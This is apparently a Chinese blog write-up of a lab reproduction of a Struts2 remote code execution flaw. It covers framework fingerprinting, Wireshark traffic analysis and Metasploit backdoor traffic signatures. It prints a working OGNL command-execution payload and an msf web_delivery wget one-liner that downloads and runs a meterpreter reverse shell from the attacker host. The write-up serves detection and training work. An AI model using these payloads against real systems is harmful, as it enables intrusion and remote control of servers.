首页 > 其他分享 >红日复现为什么失败之struct漏洞复现

红日复现为什么失败之struct漏洞复现

时间:2024-06-13 21:54:17浏览次数:10  
标签:http struct ip 192.168 漏洞 复现 && msf tcp

struts2漏洞

一、指纹识别

s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名

部署在根目录下,工程名可为空;当然namespace名称也可设置为空;拓展名也可设置为空。

方法一
(1)url会有.action或.do后缀文件名(eg:http://192.168.xx.xx/integration/editGangster.action)    #但是不准确,因为spring框架或jboss框架有可能也存在.do文件
(2)在.action等接口后追加actionErrors参数或者输入错误路径,s2应用会触发报错,通过网页回显报错信息判断。s2常见报错关键词:no action mapped、org.apache.struts2.views.jsp、namespace、no result defined for action等   #spring报错关键词一般含有whitelabel Error Page等

方法二
在URL添加/struts/domTT.css,返回css代码  #在工程名后路径添加,就是网站根目录下,返回结果如下图一

方法三
在url每层路径前添加一个错误路径,如果回显相同结果则是s2,不同结果则是spring框架   #按照s2框架规则,层层向上查找action,但是存在nginx时nginx规则优先。

图一如下

image-20240607110906342

二、漏洞利用的流量分析

1.使用检测工具

image-20240611100643222

使用工具检测wireshark: 
tcp.port == 2001 && http    #首先筛选特殊端口加协议
http.request.method == POST    # 查看请求方法为post的数据
http.request.code >= 400    #查看响应码为200
ip.src == 192.168.0.112    #指定源IP为攻击ip,查看data数据

image-20240611111152801

image-20240611152234377

2.使用手工注入

1.sumbit发送
2.使用bp抓包
3.构造payload内容如下:
"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
4.修改hex构造00截断   #如下图

image-20240611104713378

image-20240611104733263

wireshark语句查找:
# 未发包前先看一下目标ip的数据   ip.dst == 192.168.0.110   #结果显示无
# bp在send后,再次查看目标ip数据  ip.dst == 192.168.0.110  #如下图一
http contains "/doUpload"   #如下图二

图一如下

image-20240611152818161

图二如下

image-20240611154302490

image-20240611110629556

三、getshell的流量分析

使用msf进行getshell

1.使用exp模块生成个payload   #该模块表示在本地开启一个端口,目标机在访问攻击机该端口时,会将该端口内的文件读取至本地执行。
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

image-20240611160044082

image-20240611160216447

生成payload:
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj; chmod +x Tw2nth14; ./Tw2nth14& disown

将上述payload进行改造(;替换成&&)
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj&& chmod +x Tw2nth14&& ./Tw2nth14& disown

image-20240611161845965

image-20240611161909985

getshell

image-20240611162007312

追踪它的目标ip以及源ip流
ip.dst == 192.168.0.110 && http    #112发送payload数据到110成功

image-20240611162333825

image-20240611163518830

msf(108攻击机)与目标主机(110目标主机)建立连接

追踪流:ip.src == 192.168.0.108 && ip.dst == 192.168.0.110 && tcp.port == 1234

image-20240612112605452

Data: 653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4…
000c29a70a60000c29461c210800450000b44c81400040066b98c0a8006cc0a8006e04d2e3ce877c0d962d59db35801801f5fa8100000101080a4f51a65401d43497653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4934e0530fb9b0bc5a8397ccf0a3cad5073c4ab7f0ae695a177ca7f8217a426b3e070424b771e4cf1d3cb2ee08d41a0079b81ddbbc53fde242c239771da4d012af8a514c5b0f26eee8103ea9ad0171f20ef2006813535f900d8f5dbc5

四、msf后门流量特征

msf后门三种类型:
协议:tcp、http、https
位数:默认生成后门32位(windows/shell/reverse_tcp),但是可以生成64位(windows/x64/shell/reverse_tcp)
模式:shell、meterpreter
连接:正向、反向(bind reverse)

以下用windows举例:
tcp流量:
eg:windows/shell/reverse_tcp
该流量包特征:异常端口持续传输数据、shell后门明文传输(在追踪流中可查看具体命令)
可以直接看到命令用于反制
eg:windows/meterpreter/reverse_tcp     #如下图一
该流量包特征:异常端口持续传输数据、meterpreter后门进行加密
exe文件:文件头16进制是MZ开头

http流量:
数据包特征:固定请求和响应模板
请求模板包括UA、host、Connection、Cache-Control
响应模板包括content-Type、Connection、Server、Content-Length

后门set编码模块,在特征上与不编码有一定区别(比如文件体开头部分MZ ../等特征替换成..  .. ..等)但是数据包依旧有如上特征。

https流量:
server hello的JA3值固定  6523.... /22...

图一如下

image-20240613165638799

image-20240613210440823

image-20240613210412086

image-20240613210519444

五、参考文献:

红队第2篇:区分Spring与Struts2框架的几种新方法-腾讯云开发者社区-腾讯云 (tencent.com)

Struts2框架漏洞总结与复现(下)_s2-029-CSDN博客

https://github.com/abc123info/Struts2VulsScanTools #漏洞利用工具

msf中exploit的web_delivery模块 - 白桦林_HK - 博客园 (cnblogs.com)

msf后门流量分析_msf meterpreter流量检测-CSDN博客

标签:http,struct,ip,192.168,漏洞,复现,&&,msf,tcp
From: https://www.cnblogs.com/maxwellf/p/18241526

相关文章

  • 6.13API接口服务类漏洞探针
    ip地址解析:www.x.x.x.com,对应网站目录为d:/wwwroot/xiaodi/而127.x.x.x,对应网站目录为d:/wwwroot/,可能存在网站备份文件zip,所以ip网址端口都的扫描;协议端弱口令爆破:超级弱口令检查工具;端口服务安全问题(用于无思路时)思路:利用探针对端口探测后,对口令安全、Web漏洞、中间......
  • 2024.6.10漏洞探针
    探针(扫描器)1、nmap漏洞库,根目录下scripts中调用2、Goby(红队版)直接输入ip扫描资产,漏洞库较少;3、Nessus本地安装:下载安装普通版;注册获取验证码;注册用户nessus,nessus123漏洞利用1、工具框架metasploit和searchsploit忍者系统可以一键使用msf;2、单点exp(漏洞库)cnvd、s......
  • 6.12Web应用漏洞发现探针利用
    已知CMS、开发框架、思路:各个页面查看数据包(地址信息),查看框架,上fofa关键字搜索(查看其框架信息如thinkhphp),利用检测工具测试漏洞情况;网站根目录下的robots.txt文件信息;/data/admin/ver.txt网站升级时间;常见SQL注入、登录、逻辑越权支付逻辑绕过思路:#https://blog.csdn.ne......
  • PKI(Public Key Infrastructure,公钥基础设施)常见标准介绍
    ASN.1-数据结构描述语言文件编码格式DER编码格式PEM编码格式证书、密码学Key格式标准X.509标准PKCS(公钥加密标准)系列(PKCS#1、PKCS#8、PKCS#12)常见的证书标准格式(PEM编码)X.509CertificateX.509CertificateSubjectPublicKeyInfoPKCS#1PrivateKeyPKCS#1......
  • CSRF漏洞复现及测试工具讲解
    一、Python编写一个存在CSRF漏洞①编写html网页<!DOCTYPEhtml><html><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>转账</title......
  • 海康威视iSecure-Center 综合安防管理平台 applyAutoLoginTicket/keepAlive/applyCT
    0x01漏洞描述海康威视iSecureCenter综合安防管理平台是一套集成化、智能化的安防管理系统。海康威视iSecureCenter综合安防管理平台存在远程命令执行漏洞,可造成远程命令执行。0x02资产测绘app="HIKVISION-综合安防管理平台"||app="HIKVISION-iSecure-Center"0x03漏......
  • MapStruct - 注解汇总
    @Mapper@Mapper将接口或抽象类标记为映射器,并自动生成映射实现类代码。public@interfaceMapper{//引入其他其他映射器Class<?>[]uses()default{};//将类import到生成的实现类中//可以使用{@linkmapping#expression()}表达式中引用这些类型,{@link......
  • 论文解读——AAMAS2024《OPEx: A Large Language Model-Powered Framework for Embodi
    一、研究背景  具身指令执行(EmbodiedInstructionFollowing,EIF)是指在一个特定的物理或虚拟环境中,使能自主代理(如机器人或虚拟代理)根据自然语言指令来执行复杂的任务。这种研究领域集中于探索自然语言理解与机器执行能力的结合,尤其是在模拟家庭或日常环境中,如何使代理......
  • 110.网络游戏逆向分析与漏洞攻防-装备系统数据分析-装备与技能描述信息的处理
    免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动!如果看不懂、不知道现在做的什么,那就跟着做完看效果,代码看不懂是正常的,只要会抄就行,抄着抄着就能懂了内容参考于:易道云信息技术研究院上一个内容:109.商店与捨取窗口数据的处理码云版本号:4275a0966772e3fd4941ee......
  • 栈溢出漏洞利用二,ret2syscall,构造rop链条实现攻击(pwn入门)
    原理原理就直接参考别的大佬写的文章讲下了 参考文章:https://blog.csdn.net/qq_33948522/article/details/93880812ret2syscall,即控制程序执行系统调用,获取shellret2syscall通常采用execve(重点函数,32位调用号为0x0b,64位调用号为0x3b)ROPReturnOrientedProgramming,其......